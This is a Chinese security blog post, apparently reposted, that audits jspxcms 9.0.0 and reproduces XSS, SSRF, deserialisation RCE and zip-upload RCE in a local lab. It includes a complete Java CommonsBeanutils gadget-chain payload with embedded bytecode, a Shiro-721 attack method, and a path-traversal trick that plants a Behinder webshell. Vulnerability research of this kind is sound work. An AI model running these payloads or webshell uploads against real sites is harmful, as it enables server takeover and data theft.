一次历史漏洞分析与复现的全部过程
環(huán)境需求
- 系統(tǒng):Windows10
- 中間件:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.58/bin/apache-tomcat-9.0.58-windows-x64.zip
- 數(shù)據(jù)庫(kù):用phpstudy攜帶的5.7.26版本即可
- jspxcms安裝包(部署到Tomcat用來復(fù)現(xiàn)):https://www.ujcms.com/uploads/jspxcms-9.0.0-release.zip
- jspxcms源碼包(部署到IDEA進(jìn)行分析):https://www.ujcms.com/uploads/jspxcms-9.0.0-release-src.zip
部署過程
一、jspxcms安裝包部署到Tomcat
解壓好jspxcms安裝包后,將Tomcat的ROOT目錄替換為jspxcms的ROOT目錄。
修改application.properties數(shù)據(jù)庫(kù)信息,最后啟動(dòng)Tomcat就部署完成了。
二、jspxcms源碼部署到IDEA
使用IDEA打開解壓好的源碼目錄,由于使用了SpringBoot,直接啟用主程序Application即可。
漏洞復(fù)現(xiàn)
一、XSS
在首頁(yè)隨便打開一條新聞,評(píng)論需要登錄,先注冊(cè)一個(gè)用戶,然后提交評(píng)論,使用burpsuite抓包。
查看請(qǐng)求包可以看到請(qǐng)求路徑是/comment_submit,通過路徑定位到源碼。
【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記
在IDEA使用Ctrl+Shift+F搜索comment_submit,很容易就可以找到,在此處下斷點(diǎn)進(jìn)行調(diào)試。
重新發(fā)布一條評(píng)論,回到 IDEA,可以看到變量 text 接收了評(píng)論的內(nèi)容,然后又調(diào)用了 submit。
跟進(jìn)這個(gè) submit,在調(diào)用 service 層進(jìn)行業(yè)務(wù)處理的位置下斷點(diǎn)。可以看到使用了 comment 對(duì)象的屬性去保存 text 然后傳遞給 service.save ,text 的內(nèi)容沒有被改變。跟進(jìn) service.save 在調(diào)用 dao 層的位置下斷點(diǎn)。
可以看到看到 text 的內(nèi)容還是沒有改變,跟到這里就行了,因?yàn)?dao 層一般只做跟數(shù)據(jù)庫(kù)相關(guān)的操作,不會(huì)有任何安全處理。就這樣評(píng)論的內(nèi)容被寫入到數(shù)據(jù)庫(kù)了。
但是在文章頁(yè)面并沒有觸發(fā)XSS,所以需要尋找是否有其他頁(yè)面可以觸發(fā)。在 burpsute 可以看到評(píng)論的內(nèi)容在請(qǐng)求 /comment_list 時(shí)得到,并且該內(nèi)容進(jìn)行了HTML實(shí)體編碼。使用 IDEA 的搜索功能查找該前端頁(yè)面。
直接到實(shí)際處理數(shù)據(jù)的 list 方法下斷點(diǎn)進(jìn)行調(diào)試。跟進(jìn) site.getTemplate 可以看到前端頁(yè)面路徑是 /1/default/sys_comment_list.html。
查看該頁(yè)面是如何做轉(zhuǎn)義處理的,在 pom.xml 查看項(xiàng)目依賴,可以看到項(xiàng)目使用的前端框架是 freemarker。結(jié)合 sys_comment_list.html 的內(nèi)容與說明文檔可知前端頁(yè)面使用了 escape 標(biāo)簽進(jìn)行 HTML 實(shí)體編碼。
那么找找跟評(píng)論相關(guān)并且沒有 escape 標(biāo)簽的前端頁(yè)面,找到了 sys_member_space_comment.html 符合條件。使用IDEA搜索,查看如何才能訪問到 sys_member_space_comment.html,可以看到在 sys_member_space.html 下參數(shù) type 等于 comment 那么 sys_member_space_comment.html 就會(huì)被包含 。
查看如何訪問 sys_member_space.html,可以看到文件名被定義為常量,space 方法使用了該常量,也就是說訪問路徑的格式為 /space/{id} 時(shí)就能觸發(fā) XSS 了。
XSS漏洞觸發(fā)效果如下所示。
二、SSRF
審計(jì) SSRF 時(shí)需要注意的敏感函數(shù):
URL.openConnection () URL.openStream () HttpClient.execute () HttpClient.executeMethod () HttpURLConnection.connect () HttpURLConnection.getInputStream () HttpServletRequest () BasicHttpEntityEnclosingRequest () DefaultBHttpClientConnection () BasicHttpRequest ()第一處 SSRF:
直接使用 IDEA 搜索敏感函數(shù),找到一處使用了 HttpClient.execute() 的方法 fetchHtml(),它被當(dāng)前類的另一個(gè) fetchHtml() 調(diào)用。
在 fetchUrl() 調(diào)用了 fetchHtml(),并且這個(gè)方法可以直接被 HTTP 訪問。
使用 python 開啟一個(gè)簡(jiǎn)易的 http 服務(wù)進(jìn)行測(cè)試,測(cè)試效果如下所示,成功觸發(fā) SSRF。
第二處 SSRF:
搜索 openConnection ,可以看到在方法 ueditorCatchImage() 下,參數(shù) source[] 直接可控,當(dāng)執(zhí)行到 conn.getContentType().indexOf(“image”) 時(shí)就會(huì)去請(qǐng)求相應(yīng)的資源。
搜索調(diào)用 ueditorCatchImage() 方法的位置,可以看到訪問路徑為 /ueditor,action 參數(shù)需要等于 catchimage。
構(gòu)造 payload 觸發(fā)漏洞,如下所示成功觸發(fā) SSRF。
三、RCE
第一處 反序列化RCE
在審計(jì) RCE 時(shí)需要先查看項(xiàng)目使用了哪些依賴包,可以看到項(xiàng)目中的依賴包符合 ysoserial 中的 CommonsBeanutils1 的條件,但是依賴包版本有一些差異。
我們直接在項(xiàng)目中創(chuàng)建一個(gè) test 類進(jìn)行測(cè)試,查看反序列化是否能成功執(zhí)行,我在測(cè)試時(shí)發(fā)現(xiàn)反序列 ysoserial 的 CommonsBeanutils1 并不能成功,然后我使用之前跟p牛學(xué)的payload可以成功彈出計(jì)算器,如下圖所示。
Payload:
package com.jspxcms.core.test ;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl ; import org.apache.commons.beanutils.BeanComparator ;import java.io.* ; import java.lang.reflect.Field ; import java.util.Base64 ; import java.util.PriorityQueue ;public class test {public static void main ( String [] args ) throws Exception {byte [] code = Base64 . getDecoder (). decode ( "yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTEhlbGxvOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHACYBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwAGQAaBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQAFSGVsbG8BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAAAwACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAEwAEABQADQAVAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=" );TemplatesImpl obj = new TemplatesImpl ();setFieldValue ( obj , "_bytecodes" , new byte [][]{ code });setFieldValue ( obj , "_name" , "xxx" );setFieldValue ( obj , "_tfactory" , new TransformerFactoryImpl ());BeanComparator comparator = new BeanComparator ( null , String . CASE_INSENSITIVE_ORDER );PriorityQueue queue = new PriorityQueue ( 2 , comparator );queue . add ( "x" );queue . add ( "x" );setFieldValue ( comparator , "property" , "outputProperties" );setFieldValue ( queue , "queue" , new Object []{ obj , obj });ObjectOutputStream out = new ObjectOutputStream ( new FileOutputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));out . writeObject ( queue );out . close ();ObjectInputStream in = new ObjectInputStream ( new FileInputStream ( "src\main\java\com\jspxcms\core\test\ser.txt" ));in . readObject ();in . close ();}private static void setFieldValue ( Object obj , String field , Object arg ) throws Exception {Field f = obj . getClass (). getDeclaredField ( field );f . setAccessible ( true );f . set ( obj , arg );} }經(jīng)過測(cè)試反序列漏洞是可以利用的,現(xiàn)在需要一處接收反序列化數(shù)據(jù)觸發(fā)漏洞的點(diǎn)。繼續(xù)查看依賴包發(fā)現(xiàn)使用了 Apache Shiro 并且版本小于 1.4.2,可以利用 Shiro-721。這里我使用?https://github.com/inspiringz/Shiro-721?進(jìn)行測(cè)試。
爆破出可以攻擊的 rememberMe Cookie 大概需要一個(gè)多小時(shí),如下界面所示。
進(jìn)行測(cè)試成功彈出計(jì)算器,反序列化 RCE 利用成功。
第二處 文件上傳RCE
這個(gè)漏洞在文件管理的壓縮包上傳功能,上傳的壓縮包會(huì)被自動(dòng)解壓,如果我們?cè)趬嚎s包中放入 war 包并配合解壓后目錄穿越 war 包就會(huì)被移動(dòng)到 tomcat 的 webapps 目錄,而 tomcat 會(huì)自動(dòng)解壓 war 包。
這里我使用冰蝎的 jsp webshell?,將 webshell 打包成 war 包。
然后將 war 包打包成壓縮文件。
注意:這里測(cè)試需要啟動(dòng) tomcat 做測(cè)試,而不是 IDEA 的 SpringBoot,否則可能無法成功。
上傳完之后連接 webshell 成功 RCE。
分析漏洞產(chǎn)生的原因,抓取文件上傳的請(qǐng)求包,通過請(qǐng)求路徑使用 IDEA 定位到代碼。
到 super.zipUpload 處下斷點(diǎn)進(jìn)行調(diào)試,繼續(xù)跟入 AntZipUtils.unzip()。
可以看到文件名沒有做安全處理,執(zhí)行到 fos.write 時(shí) shell.war 就被寫入到 tomcat 的 webapps 目錄了,這里的目錄名不太對(duì)勁,因?yàn)槭窃?IDEA 啟動(dòng) SpringBoot 進(jìn)行調(diào)試的,無須在意,分析到這里就結(jié)束了。
為什么不直接上傳 jsp 文件 getshell 呢?我們?cè)囈幌?#xff0c;發(fā)現(xiàn)響應(yīng) 404 文件不存在,并且文件路徑前加了 /jsp。
通過調(diào)試發(fā)現(xiàn) JspDispatcherFilter.java 會(huì)對(duì)訪問的 jsp 文件路徑前加 /jsp,這就是不直接上傳 jsp 文件 getshell的原因。而我們使用壓縮包的方式會(huì)將 shell.war 解壓到 tomcat 的 webapps 目錄,這相當(dāng)于一個(gè)新的網(wǎng)站項(xiàng)目JspDispatcherFilter.java 是管不著的。
總結(jié)
以上是生活随笔為你收集整理的一次历史漏洞分析与复现的全部过程的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】Agent内存马的自动分析与
- 下一篇: 【安全漏洞】深入剖析CVE-2021-4